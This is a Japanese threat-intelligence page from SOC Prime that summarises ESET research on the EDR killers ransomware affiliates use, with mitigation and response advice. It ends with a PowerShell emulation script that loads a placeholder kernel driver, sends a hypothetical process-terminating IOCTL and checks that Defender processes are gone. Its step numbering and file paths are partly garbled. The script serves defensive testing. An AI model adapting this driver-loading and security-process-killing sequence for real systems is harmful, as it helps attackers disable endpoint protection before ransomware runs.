SOC Prime Bias: クリティカル

24 3月 2026 15:40

ESETリサーチ EDRキラーの解説: ドライバーを超えて

Author Photo
Ruslan Mikhalov SOC Primeの脅威リサーチ責任者 linkedin icon フォローする
ESETリサーチ EDRキラーの解説: ドライバーを超えて
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

概要

この記事は、ランサムウェア運営者が暗号化ソフトを起動する前にエンドポイント保護を無効化するために使用するEDRキラーエコシステムを探ります。不正行為者が脆弱なドライバ、正当なアンチルートキットユーティリティ、またはドライバレス技術を使用して防御を回避し、セキュリティソフトを無効化する方法を説明します。これらの調査結果は、現実の攻撃で見られた約90のEDRキラーをカバーするテレメトリに基づいています。この研究はまた、ランサムウェアのアフィリエイト、同じドライバの繰り返し使用、商業化されたEDRキラーサービス市場の成長を強調しています。

調査

ESETの研究者たちは、EDRキラーがどのように構築、配布、展開されているかを追跡するために、テレメトリ、コードリポジトリ、および文書化された侵入事例を分析しました。彼らは、ドライバベース、スクリプトベース、アンチルートキット、およびドライバレスの変種を含む複数のファミリーを分類し、Warlock、LockBit、Akira、Medusaなどのランサムウェアグループにそれらを関連付けました。この調査はさらに、一般の概念実証コードの武器化およびこのツールエコシステムにおけるAI支援の開発の影響を強調しました。

緩和策

防御者は、既知の脆弱なドライバをブロックし、管理コマンドの異常な使用を監視し、既知のEDRキラーバイナリと行動パターンを検出する必要があります。ドライバのインストール、セキュリティ製品の強制終了、異常なネットワークブロック行動を識別する層状検出によって、ランサムウェア実行が始まる前に攻撃者が持つ時間を狭めることができます。

対応

EDRキラーが検出された場合は、直ちにホストを隔離し、悪意のあるプロセスを終了し、承認されていないドライバを削除し、セキュリティ制御が完全に復元されたことを確認してください。どのランサムウェアペイロードまたはアフィリエイト活動が侵入と関連しているかを決定するためにフォレンジック分析を行い、より広範囲のインシデント対応ワークフローを開始してください。

攻撃の流れ

この部分はまだ更新中です。通知を受け取るためにサインアップしてください

通知する

シミュレーション実行

前提条件:テレメトリ&ベースラインの事前チェックが合格している必要があります。

攻撃の進行と指令

  1. ステージ1 – 悪意のあるドライバをドロップする
    攻撃者がドライババイナリ(EdrKiller.sys)を C:WindowsTemp に書き込み、それを EdrKillerSvc.

  2. という名前のサービスとして登録します。
    サービスを開始するとドライバがカーネルスペースに読み込まれ、プロセス終了を行う能力があるIOCTLハンドラが登録されます。

  3. ステージ3 – 悪意のある DeviceIoControl コールを発行する
    PowerShellを使用して攻撃者が .EdrKiller のハンドルを開き、IOCTLコード 0x9C040001 (仮想の“TerminateProcess”コード)を送信します。ドライバはプロセスリストを反復し、既知のEDRコンポーネントに一致する実行可能名のプロセスを終了します。

  4. ステージ4 – 終了を確認する
    攻撃者が対象のEDRプロセスがもはや実行されていないことを確認します。

回帰テストスクリプト

# --------------------------------------------------------------
# EDRキラーシミュレーション – PowerShell(管理者権限が必要)
# --------------------------------------------------------------

# 1. パスと変数
$driverPath   = "$env:ProgramDataEdrKiller.sys"
$serviceName  = "EdrKillerSvc"
$deviceName   = ".EdrKiller"
$ioctlCode    = 0x9C040001   # "TerminateProcesses"の例制御コード

# 2. 悪意のあるドライバを展開する(シミュレーション – リアルテストには本物の.sysを置き換える)
# デモ目的で正規のドライバ(例えば、null.sys)をコピーしてプレースホルダとして使用。
Copy-Item "$env:SystemRootSystem32driversnull.sys" -Destination $driverPath -Force

# 3. ドライバをロードするサービスを作成し開始する
sc.exe create $serviceName binPath= "$driverPath" type= kernel start= demand
sc.exe start $serviceName

Start-Sleep -Seconds 2   # ドライバが初期化するまでの時間を与える

# 4. DeviceIoControl P/Invokeを定義する
$signature = @"
using System;
using System.Runtime.InteropServices;
public class NativeMethods {
    [DllImport("kernel32.dll", SetLastError=true)]
    public static extern IntPtr CreateFile(
        string lpFileName,
        uint dwDesiredAccess,
        uint dwShareMode,
        IntPtr lpSecurityAttributes,
        uint dwCreationDisposition,
        uint dwFlagsAndAttributes,
        IntPtr hTemplateFile);

    [DllImport("kernel32.dll", SetLastError=true)]
    public static extern bool DeviceIoControl(
        IntPtr hDevice,
        uint dwIoControlCode,
        IntPtr lpInBuffer,
        uint nInBufferSize,
        IntPtr lpOutBuffer,
        uint nOutBufferSize,
        out uint lpBytesReturned,
        IntPtr lpOverlapped);
}
"@
Add-Type $signature

# 5. ドライバへのハンドルを開く
$GENERIC_READ  = 0x80000000
$GENERIC_WRITE = 0x40000000
$OPEN_EXISTING = 3
$hDevice = [NativeMethods]::CreateFile(
    $deviceName,
    $GENERIC_READ -bor $GENERIC_WRITE,
    0,
    [IntPtr]::Zero,
    $OPEN_EXISTING,
    0,
    [IntPtr]::Zero)

if ($hDevice -eq [IntPtr]::MinusOne) {
    Write-Error "Failed to open handle to $deviceName"
    exit 1
}

# 6. 悪意のあるIOCTLを発行する
$bytesReturned = 0
$success = [NativeMethods]::DeviceIoControl(
    $hDevice,
    $ioctlCode,
    [IntPtr]::Zero,
    0,
    [IntPtr]::Zero,
    0,
    [ref]$bytesReturned,
    [IntPtr]::Zero)

if ($success) {
    Write-Host "悪意のあるDeviceIoControlが正常に送信されました。"
} else {
    $err = [Runtime.InteropServices.Marshal]::GetLastWin32Error()
    Write-Error "DeviceIoControlに失敗しました。エラー $err"
}

# 7. ハンドルを閉じる
[System.Runtime.InteropServices.Marshal]::Release($hDevice) | Out-Null

# 8. 典型的なEDRプロセスが存在しないことを確認(例:名前)
$edrProcs = @("MsMpEng.exe","windefend.exe","MsSense.exe")
foreach ($proc in $edrProcs) {
    if (Get-Process -Name $proc -ErrorAction SilentlyContinue) {
        Write-Warning "$proc がまだ実行中です。"
    } else {
        Write-Host "$proc は正常に終了しました。"
    }
}

クリーンアップコマンド

# 悪意のあるドライバサービスを停止して削除する
sc.exe stop $serviceName
sc.exe delete $serviceName

# 偽のドライバファイルを削除
Remove-Item -Path $driverPath -Force

Write-Host "クリーンアップ完了。"